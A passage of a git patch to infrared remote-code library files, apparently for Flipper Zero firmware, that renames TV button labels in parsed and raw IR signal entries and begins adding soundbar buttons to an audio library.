00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 80 75 00 00 command: 0A 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 80 57 00 00 command: 0A 00 00 00 # -name: POWER +name: Power type: parsed protocol: Samsung32 address: 0B 00 00 00 command: 0A 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: AA 00 00 00 command: 1B 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 85 46 00 00 command: 12 00 00 00 # -name: POWER +name: Power type: parsed protocol: Samsung32 address: 05 00 00 00 command: 02 00 00 00 # -name: POWER +name: Power type: parsed protocol: Samsung32 address: 08 00 00 00 command: 0F 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 00 00 00 00 command: 01 00 00 00 # -name: POWER +name: Power type: parsed protocol: Samsung32 address: 07 00 00 00 command: E6 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: Samsung32 address: 07 00 00 00 command: 07 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: Samsung32 address: 07 00 00 00 command: 0B 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: Samsung32 address: 07 00 00 00 command: 12 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: Samsung32 address: 07 00 00 00 command: 10 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: Samsung32 address: 07 00 00 00 command: 0F 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 71 00 00 00 command: 4A 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 60 00 00 00 command: 03 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 60 00 00 00 command: 00 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 42 00 00 00 command: 01 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 50 AD 00 00 command: 00 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 50 AD 00 00 command: 02 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 50 00 00 00 command: 3F 00 00 00 # -name: POWER +name: Power type: parsed protocol: Samsung32 address: 06 00 00 00 command: 0F 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 08 00 00 00 command: 12 00 00 00 # -name: POWER +name: Power type: parsed protocol: Samsung32 address: 08 00 00 00 command: 0B 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 83 55 00 00 command: C2 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 00 00 00 00 command: 51 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 BD 00 00 command: 01 00 00 00 # -name: POWER +name: Power type: parsed protocol: Samsung32 address: 00 00 00 00 command: 0F 00 00 00 # -name: POWER +name: Power type: parsed protocol: Samsung32 address: 16 00 00 00 command: 0F 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 01 00 00 00 command: 01 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 80 68 00 00 command: 49 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 86 02 00 00 command: 49 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 7F 00 00 command: 0A F5 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 01 72 00 00 command: 1E E1 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NECext address: 01 72 00 00 command: 48 B7 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 01 72 00 00 command: 44 BB 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 01 72 00 00 command: 0A F5 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 01 72 00 00 command: 06 F9 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 01 72 00 00 command: 5C A3 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 86 05 00 00 command: 0F F0 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 86 05 00 00 command: 0C F3 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 86 05 00 00 command: 0D F2 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NECext address: 86 05 00 00 command: 0A F5 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 86 05 00 00 command: 0B F4 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 86 05 00 00 command: 0E F1 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 02 7D 00 00 command: 46 B9 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 02 7D 00 00 command: 4C B3 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NECext address: 02 7D 00 00 command: 0F F0 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 02 7D 00 00 command: 5A A5 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 02 7D 00 00 command: 0C F3 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 02 7D 00 00 command: 19 E6 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 02 7D 00 00 command: 41 BE 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 02 7D 00 00 command: 42 BD 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 02 7D 00 00 command: 57 A8 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 02 7D 00 00 command: 15 EA 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 84 E0 00 00 command: 20 DF 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NECext address: 84 E0 00 00 command: 50 AF 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 84 E0 00 00 command: 51 AE 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 84 E0 00 00 command: 60 9F 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 84 E0 00 00 command: 61 9E 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 84 E0 00 00 command: 64 9B 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 84 E0 00 00 command: 57 A8 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 6E 00 00 00 command: 02 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 6E 00 00 00 command: 06 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 6E 00 00 00 command: 0C 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NEC address: 6E 00 00 00 command: 08 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NEC address: 6E 00 00 00 command: 0E 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 6E 00 00 00 command: 04 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 04 00 00 00 command: 02 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 04 00 00 00 command: 03 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 04 00 00 00 command: 09 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NEC address: 04 00 00 00 command: 00 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NEC address: 04 00 00 00 command: 01 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 50 00 00 00 command: 0B 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 50 00 00 00 command: 12 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 50 00 00 00 command: 15 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NEC address: 50 00 00 00 command: 19 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NEC address: 50 00 00 00 command: 18 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 85 7C 00 00 command: 80 7F 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 85 7C 00 00 command: 8F 70 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 85 7C 00 00 command: 93 6C 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NECext address: 85 7C 00 00 command: 8D 72 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 85 7C 00 00 command: 91 6E 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 85 7C 00 00 command: 97 68 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 85 7C 00 00 command: 96 69 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: EA C7 00 00 command: 17 E8 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: EA C7 00 00 command: 0F F0 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: EA C7 00 00 command: 10 EF 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: EA C7 00 00 command: 20 DF 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: RC6 address: 00 00 00 00 command: 10 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: RC6 address: 00 00 00 00 command: 11 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: RC6 address: 00 00 00 00 command: 4C 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: RC6 address: 00 00 00 00 command: 4D 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: RC6 address: 00 00 00 00 command: 0D 00 00 00 # Samsung Standby -name: POWER +name: Power type: parsed protocol: Samsung32 address: 07 00 00 00 command: E0 00 00 00 # Samsung Power Off -name: POWER +name: Power type: parsed protocol: Samsung32 address: 07 00 00 00 command: 98 00 00 00 # -name: POWER +name: Power type: parsed protocol: SIRC address: 01 00 00 00 command: 6D 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: SIRC address: 01 00 00 00 command: 73 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: SIRC address: 01 00 00 00 command: 72 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: SIRC15 address: 97 00 00 00 command: 3C 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 02 00 00 00 command: 1F 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 02 00 00 00 command: 1E 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 02 00 00 00 command: 1C 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 40 00 00 00 command: 1A 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 40 00 00 00 command: 1E 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NEC address: 40 00 00 00 command: 1B 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NEC address: 40 00 00 00 command: 1F 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NEC address: 04 00 00 00 command: 1A 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 01 00 00 00 command: 10 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 01 00 00 00 command: 0E 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 01 00 00 00 command: 0F 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NEC address: 01 00 00 00 command: 0C 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NEC address: 01 00 00 00 command: 0D 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 01 00 00 00 command: 17 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 08 00 00 00 command: D7 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 08 00 00 00 command: 80 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 08 00 00 00 command: 8E 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NEC address: 08 00 00 00 command: 83 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NEC address: 08 00 00 00 command: 86 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 08 00 00 00 command: DF 00 00 00 # -name: POWER +name: Power type: parsed protocol: RC5 address: 01 00 00 00 command: 0C 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: RC5 address: 01 00 00 00 command: 0D 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: RC5 address: 01 00 00 00 command: 10 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: RC5 address: 01 00 00 00 command: 11 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: RC5 address: 01 00 00 00 command: 20 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: RC5 address: 01 00 00 00 command: 21 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 00 7F 00 00 command: 50 AF 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 00 7F 00 00 command: 1E E1 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 00 7F 00 00 command: 5F A0 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NECext address: 00 7F 00 00 command: 1F E0 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 00 7F 00 00 command: 5C A3 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 64 46 00 00 command: 5D A2 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NECext address: 64 46 00 00 command: DE 21 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 64 46 00 00 command: DB 24 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 20 00 00 00 command: 52 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 20 00 00 00 command: 53 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NEC address: 20 00 00 00 command: 02 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NEC address: 20 00 00 00 command: 09 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 20 00 00 00 command: 03 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 20 00 00 00 command: 41 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 BF 00 00 command: 0D F2 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 00 BF 00 00 command: 44 BB 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 00 BF 00 00 command: 43 BC 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 00 BF 00 00 command: 0E F1 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NECext address: 00 BF 00 00 command: 4A B5 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 00 BF 00 00 command: 4B B4 00 00 # -name: POWER +name: Power type: parsed protocol: RC5 address: 03 00 00 00 command: 0C 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: RC5 address: 03 00 00 00 command: 10 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: RC5 address: 03 00 00 00 command: 11 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: RC5 address: 03 00 00 00 command: 20 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: RC5 address: 03 00 00 00 command: 21 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: RC5 address: 03 00 00 00 command: 0D 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 BF 00 00 command: 00 FF 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 00 BF 00 00 command: 48 B7 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 00 BF 00 00 command: 49 B6 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 00 BF 00 00 command: 01 FE 00 00 # -name: POWER +name: Power type: parsed protocol: Samsung32 address: 17 00 00 00 command: 14 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: Samsung32 address: 17 00 00 00 command: 11 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: Samsung32 address: 17 00 00 00 command: 10 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: Samsung32 address: 17 00 00 00 command: 13 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: Samsung32 address: 17 00 00 00 command: 12 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: Samsung32 address: 17 00 00 00 command: 15 00 00 00 # -name: POWER +name: Power type: parsed protocol: RC5 address: 00 00 00 00 command: 0C 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: RC5X address: 00 00 00 00 command: 10 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: RC5X address: 00 00 00 00 command: 11 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: RC5X address: 00 00 00 00 command: 16 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: RC5X address: 00 00 00 00 command: 15 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: RC5 address: 00 00 00 00 command: 0D 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: RC6 address: 00 00 00 00 command: 20 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: RC6 address: 00 00 00 00 command: 21 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: A0 00 00 00 command: 5F 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: A0 00 00 00 command: 1C 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: A0 00 00 00 command: 40 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: A0 00 00 00 command: 5D 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NEC address: A0 00 00 00 command: 03 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NEC address: A0 00 00 00 command: 1F 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 38 00 00 00 command: 12 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 38 00 00 00 command: 0E 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 38 00 00 00 command: 0F 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 38 00 00 00 command: 18 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NEC address: 38 00 00 00 command: 0A 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NEC address: 38 00 00 00 command: 0B 00 00 00 # -name: POWER +name: Power type: parsed protocol: SIRC address: 01 00 00 00 command: 2E 00 00 00 # -name: POWER +name: Power type: parsed protocol: SIRC address: 01 00 00 00 command: 2F 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: EA C7 00 00 command: 97 68 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 40 40 00 00 command: 0A F5 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 40 40 00 00 command: 15 EA 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 40 40 00 00 command: 1C E3 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NECext address: 40 40 00 00 command: 1F E0 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 40 40 00 00 command: 1E E1 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 40 40 00 00 command: 0F F0 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 01 00 00 00 command: 41 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: A0 B7 00 00 command: AF 50 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: AD ED 00 00 command: BA 45 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: AD ED 00 00 command: BB 44 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NECext address: AD ED 00 00 command: B0 4F 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: AD ED 00 00 command: B1 4E 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: AD ED 00 00 command: C5 3A 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 00 00 00 00 command: 1A 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 00 00 00 00 command: 11 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 00 00 00 00 command: 33 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 28 00 00 00 command: 0B 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NEC address: 28 00 00 00 command: 0C 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NEC address: 28 00 00 00 command: 0D 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 28 00 00 00 command: 0E 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 28 00 00 00 command: 0F 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 28 00 00 00 command: 10 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: RC5 address: 01 00 00 00 command: 14 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: SIRC20 address: 5A 0E 00 00 command: 10 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: SIRC20 address: 5A 0E 00 00 command: 11 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: RC5 address: 00 00 00 00 command: 15 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: RC5 address: 00 00 00 00 command: 14 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: RC5 address: 00 00 00 00 command: 18 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: RC5 address: 00 00 00 00 command: 17 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 80 00 00 00 command: 12 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 80 00 00 00 command: 1A 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 80 00 00 00 command: 1E 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 80 00 00 00 command: 10 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: SIRC20 address: 10 01 00 00 command: 34 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: SIRC20 address: 10 01 00 00 @@ -1902,73 +1902,73 @@ command: 33 00 00 00 # # Sharp TV # -name: POWER +name: Power type: parsed protocol: NECext address: 00 BD 00 00 command: 01 FE 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 00 BD 00 00 command: 0C F3 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 00 BD 00 00 command: 10 EF 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: NECext address: 00 BD 00 00 command: 18 E7 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: NECext address: 00 BD 00 00 command: 1C E3 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 00 BD 00 00 command: 04 FB 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 278 1811 277 788 246 794 250 764 280 786 248 792 252 1813 275 1815 273 791 253 1812 276 789 255 785 249 791 253 1812 276 789 255 45322 280 1809 279 786 248 766 278 788 246 794 250 1815 273 792 252 788 246 1819 280 785 249 1817 271 1819 280 1810 278 787 247 1818 281 43217 274 1818 270 794 250 764 280 786 248 792 252 788 256 1809 279 1811 277 788 246 1819 280 785 249 766 278 762 272 1819 280 785 248 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 278 1812 276 762 282 758 276 765 279 761 273 1818 281 1809 279 1811 277 762 282 1809 279 760 274 766 278 762 282 1809 279 760 274 44279 276 1813 275 763 281 759 275 766 278 762 272 768 276 764 280 760 274 1817 271 768 276 1815 273 1817 271 1819 280 759 275 1816 272 44276 279 1812 276 763 281 758 276 765 279 761 273 1818 281 1810 278 1811 277 762 272 1819 279 760 274 766 278 762 282 1809 279 760 274 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 272 1817 271 794 250 790 254 786 248 792 252 762 272 794 250 1815 273 792 252 1813 275 790 254 785 249 766 278 1813 275 789 255 46372 273 1817 271 794 250 763 281 785 248 792 252 1813 275 1814 274 791 253 1812 276 789 255 1810 278 1812 276 1813 275 790 254 1811 277 42170 277 1814 274 791 253 787 247 793 251 763 281 759 275 791 253 1812 276 789 255 1810 278 787 247 793 251 789 255 1810 278 787 247 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 275 1814 274 791 253 787 247 793 251 789 255 1810 278 787 247 1818 281 785 249 1816 272 793 251 789 255 785 249 1816 272 766 278 45325 274 1815 273 792 252 762 272 794 250 790 254 786 247 1818 270 794 250 1815 273 792 252 1813 275 1815 273 1816 272 793 251 1814 274 43224 277 1814 274 764 280 786 248 792 252 788 246 1820 279 786 247 1817 271 768 276 1815 273 792 252 761 273 794 250 1815 273 791 253 # -name: CH+ +name: Ch_next type: raw frequency: 38000 duty_cycle: 0.330000 data: 272 1817 271 794 250 790 254 786 248 792 252 1813 275 790 254 759 275 792 252 1813 275 789 255 785 248 792 252 1813 275 789 255 46372 273 1817 271 793 251 763 281 759 275 791 253 787 247 1818 281 1810 278 1812 276 789 255 1809 279 1811 277 1813 275 790 254 1811 277 42169 277 1815 273 792 252 787 247 794 250 789 255 1810 278 787 247 794 250 789 255 1810 278 761 273 793 251 789 255 1810 278 787 247 # -name: CH- +name: Ch_prev type: raw frequency: 38000 duty_cycle: 0.330000 @@ -1976,73 +1976,73 @@ data: 273 1816 272 767 277 789 255 785 249 791 253 787 246 1818 281 785 248 765 # # Brandt TV # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9346 4516 657 502 659 502 688 473 687 475 634 527 635 527 634 1662 633 528 662 1634 662 1658 635 1660 608 1687 609 1687 633 1662 634 527 634 1662 634 528 633 1663 632 529 632 530 631 1665 630 531 630 531 631 531 630 1666 630 531 630 1666 630 1666 630 532 630 1666 630 1666 630 1666 630 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 9348 4542 631 529 632 503 659 502 688 474 634 527 634 527 634 1661 635 528 661 1636 660 1659 634 1637 632 1687 608 1687 609 1687 609 552 632 1664 633 528 633 1663 633 529 632 1664 631 1665 631 531 630 531 631 531 631 1665 631 531 631 1666 630 531 631 531 630 1666 630 1666 630 1666 631 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 9376 4512 660 475 684 475 635 527 634 528 633 527 634 527 634 1662 662 525 636 1658 637 1658 637 1658 636 1659 636 1660 635 1660 635 526 635 1661 634 527 634 1662 633 1663 632 1664 631 1665 630 531 631 531 630 531 630 1666 630 531 630 531 631 531 630 531 631 1666 630 1666 630 1667 630 # -name: CH+ +name: Ch_next type: raw frequency: 38000 duty_cycle: 0.330000 data: 9315 4513 657 501 660 501 659 500 661 502 688 499 661 474 634 1660 634 527 634 1660 634 1686 608 1687 607 1686 608 1686 608 1686 608 552 608 1686 608 1687 607 1687 632 530 631 1664 630 1665 630 531 630 531 630 531 630 531 630 531 630 1665 630 531 630 531 630 1665 630 1665 630 1665 630 # -name: CH- +name: Ch_prev type: raw frequency: 38000 duty_cycle: 0.330000 data: 9345 4540 631 503 658 529 661 475 683 476 635 526 635 527 634 1661 634 527 662 1658 636 1659 634 1660 608 1686 609 1686 634 1661 634 527 634 1661 634 1662 633 1662 633 1663 632 1664 630 1665 630 531 630 531 630 531 630 531 631 531 630 531 630 531 630 532 629 1666 630 1666 629 1666 629 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 9348 4516 657 501 660 502 659 502 659 502 688 474 634 527 634 1662 634 528 633 1687 634 1660 608 1664 631 1687 608 1687 609 1686 609 552 609 1687 608 553 632 529 633 529 632 530 631 1665 630 531 630 531 631 531 630 1666 630 1666 630 1666 630 1666 630 531 631 1666 630 1666 630 1666 630 # -name: POWER +name: Power type: parsed protocol: Samsung32 address: 3E 00 00 00 command: 0C 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: Samsung32 address: 3E 00 00 00 command: 14 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: Samsung32 address: 3E 00 00 00 command: 15 00 00 00 # -name: CH+ +name: Ch_next type: parsed protocol: Samsung32 address: 3E 00 00 00 command: 12 00 00 00 # -name: CH- +name: Ch_prev type: parsed protocol: Samsung32 address: 3E 00 00 00 command: 13 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: Samsung32 address: 3E 00 00 00 From 48a2b0ab49c2f2afbc2142d61a6fb60c93b205a1 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 30 May 2023 01:25:15 +0300 Subject: [PATCH 091/100] New audio buttons by @amec0e --- assets/resources/infrared/assets/audio.ir | 396 +++++++++++++++++++++- 1 file changed, 394 insertions(+), 2 deletions(-) diff --git a/assets/resources/infrared/assets/audio.ir b/assets/resources/infrared/assets/audio.ir index cfb89f911..75d897007 100644 --- a/assets/resources/infrared/assets/audio.ir +++ b/assets/resources/infrared/assets/audio.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 -# Last Updated 14th Apr, 2023 -# Last Checked 17th May, 2023 +# Last Updated 29th May, 2023 +# Last Checked 29th May, 2023 # name: Power type: parsed @@ -2176,3 +2176,395 @@ type: parsed protocol: NEC address: 00 00 00 00 command: 46 00 00 00 +# +# Soundbars +# +name: Play +type: parsed +protocol: NECext +address: 86 FF 00 00 +command: 2A D5 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 86 FF 00 00 +command: 13 EC 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 56 A9 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 07 F8 00 00 +# +name: Play +type: parsed +protocol: Samsung32 +address: 2C 00 00 00 +command: 4F 00 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 